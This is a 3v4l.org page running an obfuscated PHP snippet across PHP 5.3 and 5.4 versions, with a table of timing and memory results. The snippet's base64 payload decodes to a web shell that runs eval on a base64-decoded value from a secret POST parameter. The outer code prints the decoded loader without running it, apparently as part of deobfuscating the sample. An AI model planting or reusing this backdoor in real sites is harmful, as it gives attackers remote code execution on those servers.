3v4l.org

run code in 300+ PHP versions simultaneously
<?php $_= 'aWYoaXNzZXQoJF9QT1NUWyJcOTdcNDlcNDlcNjhceDRGXDg0XDExNlx4NjhcOTdceDc0XHg0NFx4NEZceDU0XHg2QVw5N1x4NzZceDYxXHgzNVx4NjNceDcyXDk3XHg3MFx4NDFcODRceDY2XHg2Q1w5N1x4NzJceDY1XHg0NFw2NVx4NTNcNzJcMTExXDExMFw2OFw3OVw4NFw5OVx4NkZceDZEIl0pKSB7IGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbIlw5N1w0OVx4MzFcNjhceDRGXHg1NFwxMTZcMTA0XHg2MVwxMTZceDQ0XDc5XHg1NFwxMDZcOTdcMTE4XDk3XDUzXHg2M1wxMTRceDYxXHg3MFw2NVw4NFwxMDJceDZDXHg2MVwxMTRcMTAxXHg0NFw2NVx4NTNcNzJcMTExXHg2RVx4NDRceDRGXDg0XDk5XHg2Rlx4NkQiXSkpOyB9\'; $__=\'JGNvZGU9YmFzZTY0X2RlY29kZSgkXyk7ZXZhbCgkY29kZSk7\'; $___="\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65"; print($___($__));

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
5.4.300.0080.03912.50
5.4.290.0110.04712.49
5.4.280.0150.04312.39
5.4.270.0090.05412.39
5.4.260.0150.05612.39
5.4.250.0070.06812.39
5.4.240.0080.05012.39
5.4.230.0070.05412.38
5.4.220.0140.05112.38
5.4.210.0120.04912.38
5.4.200.0160.05212.38
5.4.190.0060.05812.38
5.4.180.0090.05312.38
5.4.170.0080.05412.38
5.4.160.0090.05212.38
5.4.150.0120.04812.38
5.4.140.0070.04612.07
5.4.130.0090.04312.05
5.4.120.0070.04512.01
5.4.110.0080.04912.01
5.4.100.0120.04112.01
5.4.90.0060.04912.02
5.4.80.0050.04512.01
5.4.70.0070.04112.01
5.4.60.0050.04912.01
5.4.50.0100.04412.00
5.4.40.0090.04512.00
5.4.30.0060.04811.99
5.4.20.0100.04511.99
5.4.10.0130.04212.00
5.4.00.0070.03811.49
5.3.280.0110.04912.70
5.3.270.0080.05512.72
5.3.260.0120.05112.72
5.3.250.0100.05512.72
5.3.240.0090.05112.72
5.3.230.0080.04812.71
5.3.220.0080.05112.68
5.3.210.0070.05312.68
5.3.200.0080.05312.68
5.3.190.0090.04912.68
5.3.180.0090.05212.68
5.3.170.0090.04612.67
5.3.160.0100.04412.68
5.3.150.0100.04312.67
5.3.140.0070.04512.66
5.3.130.0050.05112.65
5.3.120.0040.05312.66
5.3.110.0070.05212.66
5.3.100.0060.04512.12
5.3.90.0110.03512.08
5.3.80.0100.03712.07
5.3.70.0060.05512.07
5.3.60.0110.06612.07
5.3.50.0130.06112.00
5.3.40.0130.06912.00
5.3.30.0100.04511.95
5.3.20.0090.04411.72
5.3.10.0090.04111.70
5.3.00.0080.04611.68

preferences:
139.12 ms | 1394 KiB | 7 Q